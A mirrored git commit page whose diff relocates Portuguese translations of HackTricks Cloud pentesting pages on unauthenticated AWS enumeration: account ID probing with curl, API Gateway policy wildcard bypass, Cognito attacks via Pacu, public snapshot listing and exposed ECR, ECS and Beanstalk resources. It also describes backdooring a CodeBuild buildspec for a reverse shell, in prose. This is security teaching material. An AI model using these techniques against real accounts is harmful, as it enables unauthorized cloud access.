gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-04 19:11:41 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-p

Browse Source
This commit is contained in:
Translator
2025-10-14 01:34:26 +00:00
parent 73805945b3
commit b64547f3e6
204 changed files with 8464 additions and 5105 deletions
Download Patch File Download Diff File Expand all files Collapse all files

43
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
View File

@@ -1,43 +0,0 @@
# AWS - Enumeração de Contas Não Autenticadas
{{#include ../../../banners/hacktricks-training.md}}
## IDs de Conta
Se você tem um alvo, existem maneiras de tentar identificar os IDs de conta relacionados ao alvo.
### Força Bruta
Você cria uma lista de IDs de conta e aliases potenciais e os verifica.
```bash
# Check if an account ID exists
curl -v https://<acount_id>.signin.aws.amazon.com
## If response is 404 it doesn't, if 200, it exists
## It also works from account aliases
curl -v https://vodafone-uk2.signin.aws.amazon.com
```
Você pode [automatizar esse processo com esta ferramenta](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
### OSINT
Procure por URLs que contenham `<alias>.signin.aws.amazon.com` com um **alias relacionado à organização**.
### Marketplace
Se um fornecedor tiver **instâncias no marketplace,** você pode obter o id do proprietário (id da conta) da conta AWS que ele usou.
### Snapshots
- Snapshots EBS públicos (EC2 -> Snapshots -> Public Snapshots)
- Snapshots públicos do RDS (RDS -> Snapshots -> All Public Snapshots)
- AMIs públicas (EC2 -> AMIs -> Public images)
### Erros
Muitas mensagens de erro da AWS (mesmo acesso negado) fornecerão essas informações.
## Referências
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
{{#include ../../../banners/hacktricks-training.md}}

43
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,43 @@
# AWS - Accounts Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
## IDs de conta
Se você tem um alvo, existem formas de tentar identificar os IDs de conta de contas relacionadas ao alvo.
### Brute-Force
Você cria uma lista de possíveis IDs de conta e aliases e os verifica
```bash
# Check if an account ID exists
curl -v https://<acount_id>.signin.aws.amazon.com
## If response is 404 it doesn't, if 200, it exists
## It also works from account aliases
curl -v https://vodafone-uk2.signin.aws.amazon.com
```
Você pode [automatizar este processo com esta ferramenta](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
### OSINT
Procure por URLs que contenham `<alias>.signin.aws.amazon.com` com um **alias relacionado à organização**.
### Marketplace
Se um fornecedor tiver **instâncias no marketplace,** você pode obter o owner id (account id) da conta AWS que ele usou.
### Snapshots
- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
- Public AMIs (EC2 -> AMIs -> Public images)
### Erros
Muitas mensagens de erro da AWS (mesmo 'access denied') vão fornecer essa informação.
## Referências
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
{{#include ../../../../banners/hacktricks-training.md}}

52
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
View File

@@ -1,52 +0,0 @@
# AWS - Enumeração Não Autenticada do API Gateway
{{#include ../../../banners/hacktricks-training.md}}
### Bypass de Invocação da API
De acordo com a palestra [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), os Lambda Authorizers podem ser configurados **usando a sintaxe IAM** para conceder permissões para invocar endpoints da API. Isso é retirado [**da documentação**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Permission",
"Action": ["execute-api:Execution-operation"],
"Resource": [
"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
]
}
]
}
```
O problema com essa forma de conceder permissões para invocar endpoints é que o **"\*" implica "qualquer coisa"** e **não há mais sintaxe regex suportada**.
Alguns exemplos:
- Uma regra como `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` para dar a cada usuário acesso a `/dashboard/user/{username}` dará a eles acesso a outras rotas, como `/admin/dashboard/createAdmin`, por exemplo.
> [!WARNING]
> Note que **"\*" não para de se expandir com barras**, portanto, se você usar "\*" em api-id, por exemplo, isso também pode indicar "qualquer estágio" ou "qualquer método", desde que a regex final ainda seja válida.\
> Assim, `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
> Pode validar uma solicitação POST para o estágio de teste para o caminho `/prod/GET/dashboard/admin`, por exemplo.
Você deve sempre ter claro o que deseja permitir o acesso e, em seguida, verificar se outros cenários são possíveis com as permissões concedidas.
Para mais informações, além da [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), você pode encontrar código para implementar autorizadores [**neste github oficial da aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
### Injeção de Política IAM
Na mesma [**palestra**](https://www.youtube.com/watch?v=bsPKk7WDOnE), é exposto o fato de que, se o código estiver usando **entrada do usuário** para **gerar as políticas IAM**, curingas (e outros como "." ou strings específicas) podem ser incluídos com o objetivo de **contornar restrições**.
### Modelo de URL Pública
```
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
```
### Obter ID da Conta a partir da URL pública do API Gateway
Assim como com buckets S3, Data Exchange e URLs de Lambda, é possível encontrar o ID da conta de uma conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do API Gateway. Isso é feito encontrando o ID da conta um caractere de cada vez, abusando de curingas na seção **`aws:ResourceAccount`** da política.\
Essa técnica também permite obter **valores de tags** se você souber a chave da tag (existem algumas interessantes por padrão).
Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
{{#include ../../../banners/hacktricks-training.md}}

52
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,52 @@
# AWS - API Gateway Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
### API Invoke bypass
De acordo com a palestra [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers podem ser configurados **usando sintaxe IAM** para conceder permissões para invocar API endpoints. Isso foi retirado [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Permission",
"Action": ["execute-api:Execution-operation"],
"Resource": [
"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
]
}
]
}
```
O problema com essa forma de conceder permissões para invocar endpoints é que o **"\*" implica "qualquer coisa"** e não há **mais sintaxe de regex suportada**.
Alguns exemplos:
- Uma regra como `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` para dar a cada usuário acesso a `/dashboard/user/{username}` dará a eles acesso a outras rotas como `/admin/dashboard/createAdmin`, por exemplo.
> [!WARNING]
> Observe que **"\*" não para de se expandir com barras**, portanto, se você usar "\*" em api-id por exemplo, isso também pode indicar "qualquer etapa" ou "qualquer método" desde que o regex final ainda seja válido.\
> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
> Pode validar uma requisição POST para o stage test no caminho `/prod/GET/dashboard/admin`, por exemplo.
Você deve sempre ter claro o que quer permitir acessar e então verificar se outros cenários são possíveis com as permissões concedidas.
Para mais informações, além da [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), você pode encontrar código para implementar authorizers em [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
### IAM Policy Injection
No mesmo [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) é mostrado que se o código estiver usando **entrada do usuário** para **gerar as políticas IAM**, curingas (e outros como "." ou strings específicas) podem ser incluídos ali com o objetivo de **contornar restrições**.
### Modelo de URL pública
```
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
```
### Obter o ID da conta a partir de uma URL pública do API Gateway
Assim como com S3 buckets, Data Exchange e Lambda URLs, é possível descobrir o ID da conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do API Gateway. Isto é feito encontrando o ID da conta caractere por caractere, abusando de wildcards na seção **`aws:ResourceAccount`** da policy.\
Esta técnica também permite obter **valores das tags** se você souber a tag key (há algumas padrão interessantes).
Você pode encontrar mais informações na [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
{{#include ../../../../banners/hacktricks-training.md}}

4
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
View File

@@ -1,9 +1,9 @@
# AWS - Cloudfront Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
### Modelo de URL pública
```
https://{random_id}.cloudfront.net
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

33
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
View File

@@ -1,33 +0,0 @@
# AWS - Acesso Não Autenticado ao CodeBuild
{{#include ../../../banners/hacktricks-training.md}}
## CodeBuild
Para mais informações, consulte esta página:
{{#ref}}
../aws-services/aws-codebuild-enum.md
{{#endref}}
### buildspec.yml
Se você comprometer o acesso de escrita a um repositório contendo um arquivo chamado **`buildspec.yml`**, você poderia **injetar um backdoor** neste arquivo, que especifica os **comandos que serão executados** dentro de um projeto CodeBuild e exfiltrar os segredos, comprometer o que é feito e também comprometer as **credenciais do papel IAM do CodeBuild**.
Observe que mesmo que não haja nenhum arquivo **`buildspec.yml`**, mas você saiba que o Codebuild está sendo usado (ou um CI/CD diferente), **modificar algum código legítimo** que será executado também pode te dar um shell reverso, por exemplo.
Para algumas informações relacionadas, você pode consultar a página sobre como atacar o Github Actions (semelhante a isso):
{{#ref}}
../../../pentesting-ci-cd/github-security/abusing-github-actions/
{{#endref}}
## Runners do GitHub Actions auto-hospedados no AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
Como [**indicado na documentação**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), é possível configurar o **CodeBuild** para executar **ações do Github auto-hospedadas** quando um fluxo de trabalho é acionado dentro de um repositório Github configurado. Isso pode ser detectado verificando a configuração do projeto CodeBuild, pois o **`Tipo de evento`** precisa conter: **`WORKFLOW_JOB_QUEUED`** e em um Fluxo de Trabalho do Github porque ele selecionará um runner **auto-hospedado** assim:
```bash
runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
```
Esse novo relacionamento entre Github Actions e AWS cria outra maneira de comprometer a AWS a partir do Github, já que o código no Github estará sendo executado em um projeto CodeBuild com um papel IAM anexado.
{{#include ../../../banners/hacktricks-training.md}}

33
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md Normal file
View File

@@ -0,0 +1,33 @@
# AWS - CodeBuild Acesso Não Autenticado
{{#include ../../../../banners/hacktricks-training.md}}
## CodeBuild
For more info check this page:
{{#ref}}
../../aws-services/aws-codebuild-enum.md
{{#endref}}
### buildspec.yml
Se você comprometer o acesso de escrita a um repositório que contenha um arquivo chamado **`buildspec.yml`**, você poderia **backdoor** esse arquivo, que especifica os **comandos que vão ser executados** dentro de um projeto CodeBuild e exfiltrate os segredos, comprometer o que é executado e também comprometer as **CodeBuild IAM role credentials**.
Note que mesmo que não exista nenhum arquivo **`buildspec.yml`**, se você souber que o Codebuild está sendo usado (ou outro CI/CD), **modificar algum código legítimo** que será executado também pode te dar um reverse shell, por exemplo.
For some related information you could check the page about how to attack Github Actions (similar to this):
{{#ref}}
../../../../pentesting-ci-cd/github-security/abusing-github-actions/
{{#endref}}
## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
```bash
runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
```
Essa nova relação entre Github Actions e AWS cria outra maneira de comprometer a AWS a partir do Github, pois o código no Github será executado em um projeto CodeBuild com uma IAM role anexada.
{{#include ../../../../banners/hacktricks-training.md}}

44
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
View File

@@ -1,44 +0,0 @@
# AWS - Enumeração Não Autenticada do Cognito
{{#include ../../../banners/hacktricks-training.md}}
## Cognito Não Autenticado
Cognito é um serviço da AWS que permite que desenvolvedores **concedam acesso aos serviços da AWS para os usuários de seus aplicativos**. Os desenvolvedores concederão **funções IAM a usuários autenticados** em seu aplicativo (potencialmente pessoas poderão apenas se inscrever) e também podem conceder uma **função IAM a usuários não autenticados**.
Para informações básicas sobre o Cognito, consulte:
{{#ref}}
../aws-services/aws-cognito-enum/
{{#endref}}
### ID do Pool de Identidade
Pools de Identidade podem conceder **funções IAM a usuários não autenticados** que apenas **conhecem o ID do Pool de Identidade** (o que é bastante comum de **encontrar**), e um atacante com essa informação poderia tentar **acessar essa função IAM** e explorá-la.\
Além disso, funções IAM também podem ser atribuídas a **usuários autenticados** que acessam o Pool de Identidade. Se um atacante puder **registrar um usuário** ou já tiver **acesso ao provedor de identidade** usado no pool de identidade, ele poderá acessar a **função IAM concedida a usuários autenticados** e abusar de seus privilégios.
[**Verifique como fazer isso aqui**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
### ID do Pool de Usuários
Por padrão, o Cognito permite **registrar novos usuários**. Ser capaz de registrar um usuário pode lhe dar **acesso** ao **aplicativo subjacente** ou à **função de acesso IAM autenticada de um Pool de Identidade** que está aceitando como provedor de identidade o Pool de Usuários do Cognito. [**Verifique como fazer isso aqui**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
### Módulos Pacu para pentesting e enumeração
[Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc.
Para uma descrição das funções dos módulos, consulte a parte 2 do [post do blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, consulte a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
#### Uso
Exemplo de uso do `cognito__attack` para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, clientes de grupos de usuários, grupos de identidade, usuários, etc. visíveis na conta AWS atual:
```bash
Pacu (new:test) > run cognito__enum
```
{{#include ../../../banners/hacktricks-training.md}}

44
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,44 @@
# AWS - Cognito Enumeração Não Autenticada
{{#include ../../../../banners/hacktricks-training.md}}
## Cognito Não Autenticado
Cognito é um serviço da AWS que permite aos desenvolvedores **conceder aos usuários do aplicativo acesso a serviços da AWS**. Os desenvolvedores irão conceder **IAM roles a usuários autenticados** em seu app (potencialmente pessoas poderão simplesmente se registrar) e também podem conceder um **IAM role a usuários não autenticados**.
Para informações básicas sobre o Cognito veja:
{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}
### Identity Pool ID
Identity Pools podem conceder **IAM roles a usuários não autenticados** que apenas **conheçam o Identity Pool ID** (o que é bastante comum de **encontrar**), e um atacante com essa informação poderia tentar **acessar esse IAM role** e explorá-lo.
Além disso, IAM roles também podem ser atribuídos a **usuários autenticados** que acessam o Identity Pool. Se um atacante conseguir **registrar um usuário** ou já tiver **acesso ao provedor de identidade** usado no identity pool, ele poderia acessar o **IAM role concedido a usuários autenticados** e abusar de seus privilégios.
[**Veja como fazer isso aqui**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md).
### User Pool ID
Por padrão o Cognito permite **registrar novos usuários**. Poder registrar um usuário pode lhe dar **acesso** ao **aplicativo subjacente** ou ao **IAM role de acesso autenticado de um Identity Pool** que aceita como provedor de identidade o Cognito User Pool. [**Veja como fazer isso aqui**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
### Pacu modules for pentesting and enumeration
[Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração AWS, agora inclui os módulos "cognito__enum" e "cognito__attack" que automatizam a enumeração de todos os assets do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalada de privilégios baseada em atributos customizáveis modificáveis, credenciais de identity pool utilizáveis, roles assumíveis em id tokens, etc.
Para uma descrição das funções dos módulos veja a parte 2 do [post do blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
#### Uso
Exemplo de uso de `cognito__attack` para tentar criação de usuários e todos os vetores de privesc contra um determinado identity pool e user pool client:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Exemplo de uso do cognito__enum para coletar todos os user pools, user pool clients, identity pools, users, etc. visíveis na conta AWS atual:
```bash
Pacu (new:test) > run cognito__enum
```
{{#include ../../../../banners/hacktricks-training.md}}

9
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
View File

@@ -1,9 +0,0 @@
# AWS - DocumentDB Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
### Modelo de URL Pública
```
<name>.cluster-<random>.<region>.docdb.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

9
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md Normal file
View File

@@ -0,0 +1,9 @@
# AWS - DocumentDB Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
### Modelo de URL pública
```
<name>.cluster-<random>.<region>.docdb.amazonaws.com
```
{{#include ../../../../banners/hacktricks-training.md}}

15
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
View File

@@ -1,15 +0,0 @@
# AWS - Acesso Não Autenticado ao DynamoDB
{{#include ../../../banners/hacktricks-training.md}}
## Dynamo DB
Para mais informações, consulte:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
Além de dar acesso a todas as contas AWS ou a alguma conta AWS externa comprometida, ou ter algumas injeções SQL em uma aplicação que se comunica com o DynamoDB, não conheço mais opções para acessar contas AWS a partir do DynamoDB.
{{#include ../../../banners/hacktricks-training.md}}

15
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md Normal file
View File

@@ -0,0 +1,15 @@
# AWS - DynamoDB Acesso Não Autenticado
{{#include ../../../../banners/hacktricks-training.md}}
## Dynamo DB
Para mais informações, consulte:
{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}
Além de conceder acesso à conta AWS inteira ou a alguma conta AWS externa comprometida, ou ter SQL injections em uma aplicação que se comunica com DynamoDB, não conheço outras opções para acessar contas AWS a partir do DynamoDB.
{{#include ../../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md
View File

@@ -1,18 +1,18 @@
# AWS - EC2 Enum Não Autenticado
# AWS - EC2 Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## EC2 e Serviços Relacionados
## EC2 & Serviços Relacionados
Verifique nesta página mais informações sobre isso:
Confira nesta página mais informações sobre isto:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Portas Públicas
É possível expor **qualquer porta das máquinas virtuais para a internet**. Dependendo de **o que está rodando** na porta exposta, um atacante pode abusar disso.
É possível expor **qualquer porta das máquinas virtuais para a internet**. Dependendo do **que está sendo executado** na porta exposta, um atacante pode abusar dela.
#### SSRF
@@ -20,9 +20,9 @@ Verifique nesta página mais informações sobre isso:
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
### AMIs Públicas e Snapshots EBS
### AMIs Públicas & EBS Snapshots
AWS permite **dar acesso a qualquer um para baixar AMIs e Snapshots**. Você pode listar esses recursos muito facilmente a partir da sua própria conta:
AWS permite **conceder a qualquer pessoa acesso para baixar AMIs e Snapshots**. Você pode listar esses recursos muito facilmente a partir da sua própria conta:
```bash
# Public AMIs
aws ec2 describe-images --executable-users all
@@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
aws ec2 describe-snapshots --restorable-by-user-ids all
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
```
Se você encontrar um snapshot que pode ser restaurado por qualquer pessoa, certifique-se de verificar [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) para obter instruções sobre como baixar e saquear o snapshot.
Se você encontrar um snapshot que possa ser restaurado por qualquer pessoa, verifique [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) para instruções sobre como baixar e saquear o snapshot.
#### Modelo de URL pública
```bash
@@ -51,4 +51,4 @@ https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
```bash
aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

12
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
View File

@@ -1,23 +1,23 @@
# AWS - ECR Enum Não Autenticado
# AWS - ECR Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## ECR
Para mais informações, consulte:
{{#ref}}
../aws-services/aws-ecr-enum.md
../../aws-services/aws-ecr-enum.md
{{#endref}}
### Repositórios de registro público (imagens)
Como mencionado na seção ECS Enum, um registro público é **acessível por qualquer pessoa** e usa o formato **`public.ecr.aws/<random>/<name>`**. Se um URL de repositório público for localizado por um atacante, ele poderia **baixar a imagem e procurar por informações sensíveis** nos metadados e no conteúdo da imagem.
Como mencionado na seção ECS Enum, um registro público é **acessível por qualquer pessoa** e usa o formato **`public.ecr.aws/<random>/<name>`**. Se a URL de um repositório público for localizada por um atacante, ele poderia **baixar a imagem e procurar por informações sensíveis** nos metadados e no conteúdo da imagem.
```bash
aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
```
> [!WARNING]
> Isso também pode acontecer em **registros privados** onde uma política de registro ou uma política de repositório está **concedendo acesso, por exemplo, a `"AWS": "*"`**. Qualquer pessoa com uma conta AWS poderia acessar esse repositório.
> Isso também pode acontecer em **registros privados** onde uma política de registro ou uma política de repositório está **concedendo acesso por exemplo a `"AWS": "*"`**. Qualquer pessoa com uma conta AWS poderia acessar esse repositório.
### Enumerar Repositório Privado
@@ -27,4 +27,4 @@ As ferramentas [**skopeo**](https://github.com/containers/skopeo) e [**crane**](
skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

23
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
View File

@@ -1,23 +0,0 @@
# AWS - ECS Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
## ECS
Para mais informações, consulte:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Grupo de Segurança ou Balanceador de Carga Acessível Publicamente para Serviços ECS
Um grupo de segurança mal configurado que **permite tráfego de entrada da internet (0.0.0.0/0 ou ::/0)** para os serviços Amazon ECS pode expor os recursos da AWS a ataques.
```bash
# Example of detecting misconfigured security group for ECS services
aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
# Example of detecting a publicly accessible load balancer for ECS services
aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
```
{{#include ../../../banners/hacktricks-training.md}}

23
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,23 @@
# AWS - ECS Enumeração Não Autenticada
{{#include ../../../../banners/hacktricks-training.md}}
## ECS
Para mais informações, veja:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Security Group ou Load Balancer publicamente acessível para serviços do ECS
Um security group mal configurado que **permite tráfego de entrada da internet (0.0.0.0/0 ou ::/0)** para os serviços do Amazon ECS pode expor os recursos da AWS a ataques.
```bash
# Example of detecting misconfigured security group for ECS services
aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
# Example of detecting a publicly accessible load balancer for ECS services
aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
```
{{#include ../../../../banners/hacktricks-training.md}}

35
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
View File

@@ -1,35 +0,0 @@
# AWS - Elastic Beanstalk Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
Para mais informações, consulte:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Vulnerabilidade Web
Note que, por padrão, os ambientes Beanstalk têm o **Metadatav1 desativado**.
O formato das páginas da web do Beanstalk é **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
### Regras de Grupo de Segurança Inseguras
Regras de grupo de segurança mal configuradas podem expor instâncias do Elastic Beanstalk ao público. **Regras de entrada excessivamente permissivas, como permitir tráfego de qualquer endereço IP (0.0.0.0/0) em portas sensíveis, podem permitir que atacantes acessem a instância**.
### Balanceador de Carga Acessível Publicamente
Se um ambiente do Elastic Beanstalk usar um balanceador de carga e o balanceador de carga estiver configurado para ser acessível publicamente, os atacantes podem **enviar solicitações diretamente para o balanceador de carga**. Embora isso possa não ser um problema para aplicativos da web destinados a serem acessíveis publicamente, pode ser um problema para aplicativos ou ambientes privados.
### Buckets S3 Acessíveis Publicamente
Aplicações do Elastic Beanstalk são frequentemente armazenadas em buckets S3 antes da implantação. Se o bucket S3 contendo a aplicação for acessível publicamente, um atacante pode **baixar o código da aplicação e procurar por vulnerabilidades ou informações sensíveis**.
### Enumerar Ambientes Públicos
```bash
aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
```
{{#include ../../../banners/hacktricks-training.md}}

35
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md Normal file
View File

